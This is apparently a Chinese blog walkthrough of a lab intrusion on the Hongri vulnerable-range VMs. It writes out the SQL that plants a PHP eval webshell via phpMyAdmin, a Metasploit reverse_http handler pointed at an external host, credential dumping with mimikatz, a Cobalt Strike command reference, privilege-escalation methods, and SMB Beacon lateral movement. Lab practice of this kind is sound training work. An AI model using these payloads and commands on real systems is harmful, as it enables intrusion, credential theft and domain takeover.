1. 程式人生 > 其它 >記錄一下內網滲透的整個過程

記錄一下內網滲透的整個過程

記錄一下紅日靶場內網滲透的過程

下載紅日安全團隊的靶場-->下載連結

第一步:下載並解壓到一個資料夾內

第二步、使用VM虛擬機器分別新增三個虛擬機器,並調整一下網路介面卡,使得Win7和其他兩個同屬於一個區域網,而且Win7可以訪問外網。

Win7
Win2003和Win2008

第三步、啟動三個虛擬機器,密碼都是hongrisec@2019,登入必須修改密碼可以改為Qq123456,啟動Win7的PHPstudy

檢視三個虛擬機器的ip地址

Win7:外網192.168.193.131   內網:192.168.52.143(可以ping通其他兩個)

Win2008:192.168.52.138

Win2004:192.168.52.141

第四步、外網滲透

1、資訊收集,目錄掃描 

找到備份檔案和phpmyadmin登入介面,到這裡可以選擇備份的程式碼審計或者phpmyadmin的nday利用和密碼爆破

我是利用弱口令,賬號密碼都是root,進入後臺進行mysql的getshell

1、查詢是否有寫入條件:
    show VARIABLES like '%secure_file_priv%'  == null 則沒有條件,換成日誌寫入 (secure_file_priv值可在mysql中的my.ini中修改)
    show global variables like "secure%" 也可以查詢
2、 select @@basedir;  檢視物理路徑
3、當具備條件時,寫入一句話檔案:
    select  '<?php eval($_POST["pwd"]); ?>'  into outfile  'C:/phpStudy/WWW/shell.php';
 
4、檢視日誌開啟狀態
  show variables like '%general%'; 檢視日誌狀態
  SET GLOBAL general_log='on'  開啟日誌
  SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'  指定日誌檔案
  SELECT '<?php eval($_POST["cmd"]);?>'  木馬寫到日誌裡

進入後臺

檢視寫入許可權

(NULL 無許可權)

檢視實體地址

(C:/phpStudy/MySQL)

檢視日誌狀態
(OFF)
開啟日誌
(ON)
 
 
指定日誌檔案
(shell.php)
 
木馬寫到日誌裡
(密碼:cmd)
檢視日誌
(這時候木馬已經寫到了
shell.php裡面
能夠解析)
上菜刀

第五步、內網滲透

上線的話一般使用MSF或者Cobalts Strike,我比較喜歡用CS

CS常用命令

argue                   匹配程序的欺騙引數
audit_uac              審查關於bypass uac 的方法
blockdlls               在子程序中阻止非Microsoft DLL
browserpivot       設定瀏覽器透視會話
cancel                 取消正在進行的下載
cd                       更改目錄
checkin               呼叫總部併發布資料
clear                   清除信標佇列
connect              通過TCP連線到信標對等方
covertvpn           部署隱蔽VPN客戶端
cp                       複製檔案 
dcsync                從DC中提取密碼雜湊
desktop              檢視目標的桌面並與之互動
dllinject             將反射DLL注入程序
dllload               使用LoadLibrary()將DLL載入到程序中
download          下載檔案
downloads          列出正在進行的檔案下載
drives                  列出目標上的驅動器
elevate                在提升的上下文中生成會話
execute                在目標上執行程式(無輸出)
execute-assembly      在目標上的記憶體中執行本地.NET程式
exit                           終止信標會話
getprivs                     在當前令牌上啟用系統許可權
getsystem                嘗試獲取系統
getuid                      獲取使用者ID
hashdump               轉儲密碼雜湊
help                          幫助選單
inject                       在特定程序中生成會話
jobkill                       殺死長時間執行的利用後任務
jobs                          列出長期執行的利用後任務
jump                           在遠端主機上生成會話
kerberos_ccache_use      將kerberos票證從快取應用到此會話
kerberos_ticket_purge      從此會話中清除kerberos票證
kerberos_ticket_use          將kerberos票證應用於此會話
keylogger                        將擊鍵記錄器注入程序
kill                                   終止程序
link                                 通過命名管道連線到信標對等點
logonpasswords               使用mimikatz轉儲憑據和雜湊
ls                                    列出檔案
make_token                    建立令牌以傳遞憑據
mimikatz                          執行mimikatz命令
mkdir                               製作目錄
mode dns                        使用DNS A作為資料通道(僅DNS信標)
mode dns-txt                  使用DNS TXT作為資料通道(僅DNS信標
mode dns6                     使用DNS AAAA作為資料通道(僅DNS信標)
mv                                  移動檔案
net                                  網路和主機列舉工具
note                                為該信標指定一個註釋
portscan                         掃描網路中的開放服務
powerpick                      通過非託管PowerShell執行命令
powershell                      通過powershell.exe執行命令
powershell-import          匯入powershell指令碼
ppid                               為衍生的事後交貨作業設定父PID
ps                                  顯示程序列表
psinject                          在特定程序中執行PowerShell命令
pth                                使用Mimikatz傳遞雜湊
pwd                               列印當前目錄
reg                                  查詢登錄檔
remote-exec                    在遠端主機上執行命令
rev2self                         還原為原始令牌
rm                                 刪除檔案或資料夾
rportfwd                      設定反向埠前進
run                              在目標上執行程式(返回輸出)
runas                          以另一個使用者的身份執行程式
runasadmin                在提升的上下文中執行程式
runu                           在另一個PID下執行程式
screenshot                   截圖
setenv                        設定環境變數
shell                          通過cmd.exe執行命令
shinject                    將外殼程式碼注入程序
shspawn                  生成程序並將外殼程式碼注入其中
sleep                       設定信標睡眠時間
socks                        啟動SOCKS4a伺服器以中繼流量
socks stop              停止SOCKS4a伺服器
spawn                    生成會話
spawnas                 作為另一個使用者生成會話
spawnto                 將可執行檔案設定為將程序生成到
spawnu                   在另一程序下生成會話
ssh                          使用SSH在主機上生成SSH會話
ssh-key                    使用SSH在主機上生成SSH會話
steal_token              從程序中竊取訪問令牌
timestomp               將時間戳從一個檔案應用到另一個檔案
unlink                     斷開與父信標的連線
upload                     上傳檔案

CS提權:

uac-token-duplication
是一種繞過uac方式的攻擊,吧地許可權提高到高許可權,利用一個UAC漏洞,允許非提升程序使用提升程序中竊取的令牌來啟動,適用於win7

svc-exe
用於提升許可權,用法類似getsystem命令

ms14-058|ms15-015|ms16-016|ms16-032|ms16-032|ms16-315
這幾種方式都差不多,通過windows的本地提權漏洞來提權

juicypotato
在cobaltstrike中使用爛土豆來提權,相對可靠

compmgmt
瞭解不多,似乎是通過windows的compmgmt去提權

rottenpotato
從Windows服務帳戶到系統的本地許可權升級

uac-eventvwr
通過登錄檔,利用eventvwr.exe 會自動載入我們的exp,這時的eventvwr.exe為高許可權,達到提權效果

uac-dll
利用UAC漏洞,把我們的exp生成的dll複製到特定位置來達到提權效果,可繞過UAC

uac-wscript
這是一個empire中的繞過UAC模組,通過利用wscript.exe 去執行payload,以管理員許可權去執行payload,只限於win7上使用
上線CS
CS生成木馬

上線客戶端

(沒有免殺)

 成功上線

 

截個屏看一下

 靶機資訊收集

(shell ipconfig)

 抓取明文密碼  

提權

svc-exe) 

 
內網資訊收集  

net view # 檢視區域網內其他主機名
net config Workstation # 檢視計算機名、全名、使用者名稱、系統版本、工作站、域、登入域
net user # 檢視本機使用者列表
net user /domain # 檢視域使用者
net localgroup administrators # 檢視本地管理員組(通常會有域使用者)
net view /domain # 檢視有幾個域
net user 使用者名稱 /domain # 獲取指定域使用者的資訊
net group /domain # 檢視域裡面的工作組,檢視把使用者分了多少組(只能在域控上操作)
net group 組名 /domain # 檢視域中某工作組
net group "domain admins" /domain # 檢視域管理員的名字
net group "domain computers" /domain # 檢視域中的其他主機名
net group "doamin controllers" /domain # 檢視域控制器主機名(可能有多臺)

 檢視是否存在域

存在域(god.org)

shell net config Workstation

 查詢當前域的個數

只有一個

 shell net view /domain

檢視域控制器主機名

OWA

shell net group "domain controllers" /domain

檢視區域網內其他

主機資訊

net view

 確認一下該主機

是否也是存在域中

shell net group "domain computers" /domain

開啟MSF監聽埠 

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 121.***.***
set lport 6666
exploit

CS開啟監聽   
新建會話到MSF   
MSF獲得shell會話
現在兩條路

第一:使用MSF的攻擊模組來進行橫向滲透

第二:使用CS來進行橫向滲透,新增一些外掛

我的CS還沒有攻擊的外掛模組,所以使用MSF來攻擊域控

檢視域控的開放埠

445埠可能存在

ms17_010

永恆之藍漏洞

利用永恆之藍

進行程式碼執行

失敗!

還是用CS來吧

視覺化切換到

目標列表

先查一下賬戶密碼

logonpasswords

 建立監視器

smb

 

橫向移動

橫向主機上線

同上,內網主機

已經全部上線

找一下域控主機

放的flag

 
拓撲透檢視 

 總結一下:

  外網是一個Yxcms,這個cms存在弱口令檔案上傳等漏洞,通過弱口令進入PHPMyAdmin,因為沒有路徑寫入許可權,然後使用寫入日誌來寫入一句話木馬。菜刀連線日誌解析的一句話木馬,使用Cobalts Strike生成可執行檔案上傳到網站目錄,菜刀進行執行命令語句,上線CS,之後開始內網滲透。

  內網滲透首先資訊收集,查到了只有一個內域OWA,內域中還有兩個主機,其中一個是域控主機。先給當前的跳板提一下權,使用的是svc-exe提權方式。

  接下來目的是橫向滲透使用這個Win7作為跳板,拿下內網域內的域成員主機和域控主機,首先使用CS和MSF聯動查到開放455埠,打了個永恆之藍髮現失敗。拼一下運氣,用CS的SMB Beacon橫向滲透成功

  簡介:SMB Beacon使用命名管道通過父Beacon進行通訊。此對等通訊與Beacons在同一主機上工作。它也適用於整個網路。Windows在SMB協議中封裝命名管道通訊,對內網中無法連結公網的機器,SMB Beacon可以通過已控制的邊界伺服器對其進行控制。

  口頭語言解釋:外網中的A主機與B主機相通且已控制B,B主機可以與內網中的C主機(無法連線公網)相通,但是A主機與C主機不相通,此時就需要在B主機上利用SMB beacon使A和C相通,進而使A主機控制C主機。

  使用前提:B能訪問到C的SMB埠,擁有SMB的管理員賬號密碼(一般在B上抓密碼去碰撞)
    ①具有SMB Beacon的主機必須接受埠445上的連線。
    ②只能連結由同一Cobalt Strike例項管理的Beacon。

  具體步驟:

    ①獲取C的管理員賬號密碼
    ②建立SMB Listener
    ③使用net use進行利用、驗證及建立SMB Beacon